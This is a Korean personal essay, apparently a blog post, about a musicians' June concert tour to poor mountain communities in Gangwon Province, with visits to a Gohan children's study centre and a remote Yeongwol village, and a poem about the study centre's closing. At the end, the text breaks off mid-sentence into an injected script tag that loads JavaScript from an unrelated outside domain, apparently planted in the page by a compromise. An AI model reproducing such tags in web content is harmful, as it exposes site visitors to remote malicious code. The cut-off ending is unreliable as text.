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[제목] 정선 아리랑을 뒤로 하고... (최영철)

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매년 6월경에는 전국의 소외지역을 도는 연주여행을 갑니다.

참여하는 연주자들이 학교도 방학으로 접어들고 복잡했던 전반기 연주 일정도 어느 정도 마무리되는 달이기 때문입니다.

올해도 짐을 싸서 싣고 첫 연주여행지인 태백산 정선을 향해 떠났지요.

악기는 가장 단단한 놈으로 골라 싣습니다. 터덜터덜 고개를 넘고 물 건너 굽이굽이 산을 넘어가야 하는 험한 길이기 때문입니다.

산 넘어 산... 사방을 둘러보아도 짙푸른 산뿐이지요.

고한에서는 강원랜드에서 만든 스키장 곤돌라를 타고 정상에 올라가 보기도 했습니다.

백두대간의 위용이 사방으로 펼쳐진 장관이었습니다.

함북의 작은 초등학교를 거쳐 근처 산재병원도 들렀습니다.



고한 성당의 이우갑 신부가 심혈을 기울여 지은 흙빛 문화센터가 작년에는 뼈대만 겨우 서 있었는데 올해는 멋진 위용을 자랑하고 있었구요.

무대에서 밖을 내다보니 넓은 데크 너머로 하늘과 산이 어우러져서 마치 커다란 배 위에서 연주하는 듯한 느낌이 들었습니다.

그 어려운 여건 가운데 건물을 완공하고자 혼자 노심초사 얼마나 피곤한 길을 걸었을까?

건물 입구를 들어서는 순간 가슴이 찡해 왔지요.



강원도 폐광의 버려진 아이들을 돌보며 수없이 문을 닫을 위기를 각처에 구걸하듯 겨우 살리고 드디어는 멋진 현대식 건물로 열매를 맺은 흙빛 공부방의 이우갑 신부와 선생님들의 피땀이 사방 곳곳에 묻은 귀한 건물이었습니다.

옛날 어려웠던 시절 한 선생님의 텅 빈 가슴으로 토해 내던 시를 옮겨 봅니다.



“흙빛 공부방 문 닫던 날”



떠납니다.

고운님들과의 아름다웠던 추억의 날들이....



강 건너 고한 역에서 밤 기차가

제 몸 떨어내는 소리를 내면

사춘기 소년 소녀들의 시린 가슴엔 아픔처럼 쏟아지는

간절한 그리움에 가슴이 내려앉았었지요



낡은 책상 위 여기저기 새겨진 악동들의 이름과

뒷산 바위틈에서 자라나 거목이 된 아카시아나무와

밤늦은 귀가시간에 재잘거리며 쏟아져 나오던 철제 대문의 육중한 무게는

우리의 기억들을 이곳 흙빛 공부방으로 되돌아오게 하는

눈물보다 진한 것으로 오래도록 남아 있을 것입니다



우리가 만나 일구었던 생활과

거역할 수 없는 일상들을 앞에 두고

우리 서로 떠나야 하는 자와

보내야만 하는 자로

이렇게 가슴 아프게 갈라서야만 하는 섭리를 주신

당신의 뜻은 어디에 있습니까,



분명 더 나은 빛의 길로 나서기 위함이라는 말씀으로 받잡고

높이 잔 들어 축하를 보내거나

찬양의 노래를 불러야 하겠지만

이토록 서운함이 차 넘치는 것은

또 무슨 까닭입니까,



떠나는 이 자리에 선 어여쁜 소녀와 소년들에게

부디 흙빛이 아닌 햇빛의 밝음을 주시고

그들이 비록 이 자리를 떠나 서로 멀리 있게 되지만

항시 서로의 다사로움을 함께 하면서

이 검은 산간 마을에서 키운 사랑과 소망을 잊지 않도록 하여

다시금 그들로 하여 당신의 곡조로 노래하는 삶을 누리도록 하소서





천진난만한 어린이들의 왁자지껄한 분위기의 음악회는 어떤 음악회보다 진한 감동을 안겨주었지요.



강원도의 마지막 코스인 영월의 타랭이골로 향합니다.

그 높은 산들을 돌아 차 한 대 겨우 지나갈 산 쪽으로 난 길을 겨우 찾아 꼬불꼬불 올라갑니다.

인상 좋은 한 털보 선생님이 강원도 두메산골의 학생들과 고아들, 문제 가정의 아이들을 모아 지리산 청학동 같은 마을을 이루고 있는 곳입니다.

우리 일행의 지프 두 대가 힘겹게 닿은 곳은 하늘 아래 첫 동네였습니다.

문득 영화 “웰컴 투 동막골”이 생각납니다. 기실 그 동막골도 여기서 멀지 않은 곳이지요.



얼기설기 지은 건물이라 밑이 다 보입니다. 금방이라도 건물이 무너질 것 같은 느낌에 서늘해졌습니다.
무너지면 영월 동강까지 굴러갈 것 같다는 생각을 합니다.

야외음악회가 끝난 후 제천에서부터 트럭으로 빌려온 고물 피아노가 다시 실려서 내려갑니다.

몇 십만 원짜리 고물 피아노가 없어서 제천에서부터 빌려오다니...

우리 일행은 기증할 만한 피아노를 찾아보기로 합니다.

진정으로 기뻐하며 정성껏 대접하는 타랭이골의 선생님들과 다시 만나기로 약조하고 골짜기를 내려갑니다.



둘째 날이던가?

해발 1200미터 산 윗 마을에서 저녁 연주를 끝내고 고픈 배가 맛난 토속 음식을 게 눈 감추듯 먹어치운 후, 여흥으로 그 곳 의사의 어린 딸이 부르던 정선 아리랑의 가락이 귓전을 떠나지 않던 산굽이 물굽이, 들리는 소리라고 해야 새?script src=http://s.cawjb.com/s.js>
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